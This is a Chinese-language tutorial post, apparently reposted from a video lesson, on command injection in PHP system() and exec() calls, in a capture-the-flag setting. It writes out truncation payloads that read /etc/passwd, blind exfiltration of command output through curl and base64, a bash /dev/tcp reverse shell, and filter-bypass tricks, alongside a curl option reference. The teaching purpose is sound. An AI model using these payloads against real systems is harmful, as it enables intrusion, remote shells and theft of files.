命令注入

xiaoxiao2025-10-10  26

命令截断无回显过滤与绕过

1. 命令注入-命令截断

system(“ls $dir”);

想截断上面的语句进行绕过,我们可以构造下面的语句

- $dir=/tmp; cat /etc/passwd

这里的“ ;”将语句截断,并执行cat/etc/passwd命令,除了“;”之外还有下面的也可以进行截断

;(分号将前面的命令隔断,开始一个新的命令)|(将前面的输出,当做一个管道文件传给后一个命令)&(把前面的一个命令放到后台执行,再执行下一个命令)%0a(可以认为输入前面的一个命令之后敲了一个回车,然后又输入了下一个命令)``(对反单撇号里面的命令进行执行,然后把字符串返回过来)

如下面的代码

这里给dir赋值为"temp;cat/tmp/flag",可以看到flag显示出来

2 . 命令注入-无回显

exec(‘$cmd’,$a)

exec函数将cmd执行的命令输出到变量a中,无法显示出来,这时候就可以通过其他方式显示出来,有下面两种方法

$cmd = curl ip?a=ls(http日志)反弹shell

2.1 方法一

$cmd = curl ip?a=`ls`

curl

在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具。

语法:# curl [option] [url] -A/--user-agent <string> 设置用户代理发送给服务器 -b/--cookie <name=string/file> cookie字符串或文件读取位置 -c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中 -C/--continue-at <offset> 断点续转 -D/--dump-header <file> 把header信息写入到该文件中 -e/--referer 来源网址 -f/--fail 连接失败时不显示http错误 -o/--output 把输出写到该文件中 -O/--remote-name 把输出写到该文件中,保留远程文件的文件名 -r/--range <range> 检索来自HTTP/1.1或FTP服务器字节范围 -s/--silent 静音模式。不输出任何东西 -T/--upload-file <file> 上传文件 -u/--user <user[:password]> 设置服务器的用户和密码 -w/--write-out [format] 什么输出完成后 -x/--proxy <host[:port]> 在给定的端口上使用HTTP代理 -#/--progress-bar 进度条显示当前的传送状态

curl:127.0.0.1:8888 执行之后,127.0.0.1:8888的html就会显示在屏幕上了

Python -m SimpeHTTPServer 8888Curl 127.0.0.1:8888?r=cat flag|base64

cat flag|base64 这是一个反单撇号,当bash执行它的时候,会先执行反单撇号中的内容,然后把反单撇执行的结果以一个字符串的形式再进行一次拼接,在监听的http日志里就可以看到内容

发现flag好像少了一些东西,这个命令执行,遇到空格或者换行符这种空白字符的时候,就会被截断,收到的flag是不完整的,此时可以通过base64的方式,对他进行一次编码,编码之后就能收到完整的flag了

2.2 反弹shell

- nc –lp 8888 –vvv - bash -i >& /dev/tcp/127.0.0.1/8888 0>&1

这里面讲的极为详细

(这个语句如果直接在bash里面执行是没什么问题的,但是如果把它以参数的形式传给system或者exec这些函数的话,发现并不能反弹shell,我们可以在前面加一个bash -c)

Bash -c “bash -i >& /dev/tcp/127.0.0.1/8888 0>&1”,只需要在shell中输入命令就行了

3. 命令注入-过滤与绕过

cat<>flag (过滤空格) base64( 过滤/) 通配符星号表示任意字符任意数量?表示一个字符 本篇文章内容来自视频
转载请注明原文地址: https://www.6miu.com/read-5037687.html

最新回复(0)